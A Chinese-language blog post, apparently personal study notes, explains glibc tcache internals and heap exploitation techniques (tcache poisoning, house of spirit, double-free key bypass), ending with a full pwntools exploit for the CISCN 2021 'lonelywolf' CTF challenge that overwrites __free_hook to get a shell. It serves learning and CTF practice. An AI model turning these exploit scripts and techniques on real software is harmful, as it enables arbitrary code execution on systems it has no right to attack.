tcachebin_attack

文章发布时间:

最后更新时间:

about tcache
在glibc版本2.26(可以简单记成18.04后)以后,加入了tcache(Thread Local Caching)机制

这里放上tcache的定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#if USE_TCACHE
/* We want 64 entries. This is an arbitrary limit, which tunables can reduce. */
# define TCACHE_MAX_BINS 64
# define MAX_TCACHE_SIZE tidx2usize (TCACHE_MAX_BINS-1)

/* Only used to pre-fill the tunables. */
# define tidx2usize(idx) (((size_t) idx) * MALLOC_ALIGNMENT + MINSIZE - SIZE_SZ)

/* When "x" is from chunksize(). */
# define csize2tidx(x) (((x) - MINSIZE + MALLOC_ALIGNMENT - 1) / MALLOC_ALIGNMENT)
/* When "x" is a user-provided size. */
# define usize2tidx(x) csize2tidx (request2size (x))

/* With rounding and alignment, the bins are...
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */

/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
#endif

tcache机制通过维护多个大小不同的链表来存储已被释放但尚未重新分配的堆块。每个链表对应一个特定的堆块大小,并且每个线程都有自己的tcache链表。当程序请求分配一个堆块时,tcache会首先检查是否有合适大小的空闲块可用,如果有,则直接从tcache中分配给程序。

tcache机制主要有三个优点:

减少了对全局锁的竞争:由于每个线程都有自己的tcache链表,所以线程之间不需要竞争全局锁,从而减少了锁的开销。
快速的内存分配和释放:由于tcache只包含已经释放但尚未重新分配的堆块,所以可以快速地进行内存分配和释放操作。
减少碎片化:tcache机制使得相同大小的堆块可以被重复使用,减少了堆内存的碎片化问题。

它为每个线程创建一个缓存,里面包含了一些小堆块。每个线程默认使用64个单链表结构的bins,每个bins最多存放7个chunk,64位机器16字节递增,从0x20到0x410,也就是说位于以上大小的chunk释放后都会先行存入到tcache_bin中。对于每个tcache_bin单链表,它和fast_bin一样都是先进后出,而且prev_inuse标记位都不会被清除,所以tcache_bin中的chunk不会被合并,即使和Top_chunk相邻。

  另外tcache机制出现后,每次产生堆都会先产生一个0x250大小的堆块,该堆块位于堆的开头,用于记录64个bins的地址(这些地址指向用户数据部分)以及每个bins中chunk数量。在这个0x250大小的堆块中,前0x40个字节用于记录每个bins中chunk数量,每个字节对应一条tcache_bin链的数量,从0x20开始到0x410结束,刚好64条链,然后剩下的每8字节记录一条tcache_bin链的开头地址,也是从0x20开始到0x410结束。还有一点值得注意的是,tcache_bin中的fd指针是指向malloc返回的地址,也就是用户数据部分。

attack
绕过tcache机制的方法在上一篇unsorted_bin里有说明

tcache poisoning

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//gcc how2heap2.c -g -no-pie -o tcache_bin
#include<stdio.h>
#include<stdlib.h>

int main()
{
// 在fck处分配堆块
unsigned long fck;
printf("fck addr is %p\n", &fck);

unsigned long * ptr = malloc(0x80);//chunk1
printf("malloc ptr addr is %p\n", ptr);
free(ptr);
// 只需修改fd指针,申请的大小和当前tcache bin大小相同即可
ptr[0] = (unsigned long)&fck;
malloc(0x80);//chunk2
printf("the second malloc addr is %p\n", malloc(0x80));

return 0;
}

攻击效果如下

1
2
3
4
5
6
pwndbg> r
Starting program: /home/str1k3/Desktop/tcache_bin
fck addr is 0x7fffffffe2e8
malloc ptr addr is 0x602670
the second malloc addr is 0x7fffffffe2e8
[Inferior 1 (process 3147) exited normally]

可以看到chunk2的地址被修改到了0x7fffffffe2e8。

tcache house of spirit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//gcc tcache_house_of_spirit.c -g -no-pie -o tcache_house_of_spirit
#include<stdio.h>
#include<stdlib.h>

int main()
{
unsigned long target[4];
malloc(1); // 初始化堆环境

// 伪造fake_chunk,试图释放后再次分配得到该地址的堆块
printf("your target addr is %p\n", target+2);
target[1] = 0x90;
free(target+2);
printf("now malloc addr is %p\n", malloc(0x80));
//success
return 0;
}

free完fake_chunk后的bin:

1
2
3
pwndbg> bin
tcachebins
0x90 [ 1]: 0x7fffffffe2d0 ◂— 0x0

成功得到位于0x7fffffffe2d0的堆块

该攻击关键在于构造好fake_chunk的size,以及释放堆块对应的用户数据地址

leak_libc_base
同unsorted_bin_attack

leak_heap_base
easy_double_free

glibc版本2.28前,没有对tcache二次释放的检查
因此在glibc_2.26到glibc_2.27的老版本之间
可以利用double_free来泄露堆基址

1
2
3
4
5
6
7
8
9
10
11
12
13
//gcc double_free.c -g -no-pie -o double_free
#include <stdio.h>
#include <stdlib.h>

int main()
{
unsigned long *ptr = malloc(0x80);
free(ptr);
free(ptr); // double free
printf("heap addr is %ld\n", ptr[0]);

return 0;
}

这个过渡版的glibc有点难找,等环境搭起来再来复现easy_double_free

double_free
那么高版本的glibc能double_free吗?
是可以的,先看看检查机制

1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next; //指向chunk的fd
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key; //指向chunk的bk
} tcache_entry;

对于每一个tcache都有一个key指针指向

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
size_t tc_idx = csize2tidx(size);//只要tcache不为空 并且free chunk在tcache范围中 都需要进行double free检查
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *)chunk2mem(p);

/*
如果是这个chunk已经被放入tcache 那么key字段就已经有数据了 会被识别出来
*/
if (__glibc_unlikely(e->key == tcache))//汇报错误信息
{
tcache_entry *tmp;
LIBC_PROBE(memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx]; tmp; tmp = tmp->next)
if (tmp == e)
malloc_printerr("free(): double free detected in tcache 2");
}

if (tcache->counts[tc_idx] < mp_.tcache_count) //通过检查,放入tcahce中
{
tcache_put(p, tc_idx);
return;
}
}

所以 如果我们还想要使用tcache double free的话 就只能修改key字段

debug_exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import*
p = process("./2heap")
elf = ELF("./2heap")
#libc = ELF("./libc-2.23.so")
context(os='linux', arch='amd64', log_level='debug')

def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

def add(size,payload):
p.recvuntil(">")
p.sendline(b'1')
p.recvuntil(b"You can customize the size of house here, but what about your life")
p.sendline(str(size))
p.recvuntil(b"add something to your house\n")
p.send(payload)


def delete(index):
p.recvuntil(">")
p.sendline(b'2')
p.recvuntil(b'every decision you made is meaningful')
p.sendline(str(index))

def edit(index,size,payload):
p.recvuntil(">")
p.sendline(b'3')
p.recvuntil(b"It's never too late to make changes")
p.sendline(str(index))
p.recvuntil(b"something interesting here")
p.sendline(str(size))
p.sendlineafter(b"Now add something",payload)



def show(index):
p.recvuntil(">")
p.sendline(b'4')
p.recvuntil(b"Let's see what you can do")
p.sendline(str(index))


add(0x10,b'aaaa')
delete(0)
debug()
payload = p64(0)*2
edit(0,len(payload),payload)
delete(0)

p.interactive
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xe3d000
Size: 0x251

Free chunk (tcachebins) | PREV_INUSE
Addr: 0xe3d250
Size: 0x21
fd: 0x00

Top chunk | PREV_INUSE
Addr: 0xe3d270
Size: 0x20d91

pwndbg> x/4gx 0xe3d250
0xe3d250: 0x0000000000000000 0x0000000000000021
0xe3d260: 0x0000000000000000 0x0000000000e3d010
pwndbg> x/4gx 0xe3d000
0xe3d000: 0x0000000000000000 0x0000000000000251
0xe3d010: 0x0000000000000001 0x0000000000000000

可以看到所谓的key检查 也就是在tcachebin中的chunk的bk域存入tcache_perthread_struct结构体的地址

也就是在堆基址处0x251大小的chunk

跟着exp走,可以成功把处于tcachebin中的chunk的bk域清空
这样再次free的时候就不会触发double free

[CISCN 2021 初赛]lonelywolf
保护全开,四肢健全
add仅能有一个chunk,最大size=0x78


free存在UAF


先考虑用一次double free来泄露堆地址

1
2
3
4
5
6
7
add(0x78)
free()
edit(p64(0)*2)
free()
show()
p.recvuntil(b'Content: ')
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x260

第二次free前的结构

double free后,该chunk的bk指向该chunk的地址,可用于泄露heapbase

随后通过攻击tcache struct来分配一个0x250的堆块后使其进入unsorted bin来泄露libc

1
2
3
4
5
6
7
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
edit(b'\x00'*35 + b'\x07')
free()
show()
libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x70 - libc.sym['__malloc_hook']

攻击造成的后果:




后续再修改tcache struct来打freehook即可

1
2
3
4
5
edit(b'\x01\x01' + b'\xff'*0x3e + p64(free_hook) + p64(heap_base + 0x260))
add(0x10)
edit(p64(system))
add(0x20)
edit(b'/bin/sh\x00')

后面的堆结构在gdb看来就寄了,这里记录一下:



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from struct import pack
from ctypes import *
from LibcSearcher import *
from pwn import *

def debug():
gdb.attach(p)
pause()
def get_addr():
return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

context(os='linux', arch='amd64', log_level='debug')
p = process('./lonelywolf')
#p = remote('node4.anna.nssctf.cn', 28681)
elf = ELF('./lonelywolf')
#libc = ELF('./libc-2.27-x64.so')
libc = ELF('/home/str1k3/glibc-all-in-one/libs/2.27-3ubuntu1.4_amd64/libc.so.6')

def add(size):
p.sendlineafter(b'choice: ', b'1')
p.sendlineafter(b'Index: ', b'0')
p.sendlineafter(b'Size: ', str(size))
def edit(content):
p.sendlineafter(b'choice: ', b'2')
p.sendlineafter(b'Index: ', b'0')
p.sendlineafter(b'Content: ', content)
def show():
p.sendlineafter(b'choice: ', b'3')
p.sendlineafter(b'Index: ', b'0')
def free():
p.sendlineafter(b'choice: ', b'4')
p.sendlineafter(b'Index: ', b'0')

debug()
# leak heap_base
add(0x78)
free()
edit(p64(0)*2)
free()
show()
p.recvuntil(b'Content: ')
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x260

# double free -> tcache struct -> leak libc_base
edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
edit(b'\x00'*35 + b'\x07')
free()
show()
libc_base = get_addr() - 0x70 - libc.sym['__malloc_hook']

# free_hook -> system
free_hook = libc_base + libc.sym['__free_hook']
one_gadget = libc_base + 0x10a38c
system = libc_base + libc.sym['system']

edit(b'\x01\x01' + b'\xff'*0x3e + p64(free_hook) + p64(heap_base + 0x260))
add(0x10)
edit(p64(system))
add(0x20)
edit(b'/bin/sh\x00')

# pwn
free()
p.interactive()

glibc2.29加入了stash机制,导致tcachebin存在与fastbin以及smallbin的‘联动’漏洞,写完fastbin和smallbin再回来补充
前面的攻击手段,以后再来探索吧~